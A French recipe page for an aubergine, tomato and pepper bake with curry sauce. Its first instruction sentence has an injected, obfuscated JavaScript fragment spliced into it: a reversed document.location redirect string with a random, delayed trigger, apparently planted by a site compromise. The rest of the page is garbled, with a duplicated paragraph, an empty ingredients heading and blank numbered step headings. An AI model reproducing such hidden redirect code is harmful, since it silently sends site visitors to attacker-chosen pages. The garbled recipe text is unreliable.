Poêlée de légumes sauce curry
2021-05-03- Thématique : Végétarien
- Niveau : Difficile
Rincez les aubergines, les couper tranches fines dans le sens de la longueur, faites les revenir dans une cuillère d’huile bien chaude tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Rincez les aubergines, les couper tranches fines dans le sens de la longueur, faites les revenir dans une cuillère d’huile bien chaude tout en remuant. Déposez-les sur du papier absorbant pour éliminer l’excédent de graisse. Pelez et hachez l’oignon et l’ail. Pelez les tomates et coupez-les en rondelles.
Rincez le poivron enlevez le pédoncule, les graines, la peau blanche, puis coupez-le en lanières. Dans un plat allant au four disposez les aubergines, les tomates et le poivron en couche successives. Entre chaque couche assaisonnez les légumes et disposez les oignons et l’ail hachés. Préparez la sauce battez la crème fraîche avec le jus de citron, saupoudrez de curry, salez, poivrez.
Versez sur les légumes. Préchauffez le four à 180°C thermostat 6.. Enfournez et faites cuire pendant 25 minutes environ. ServezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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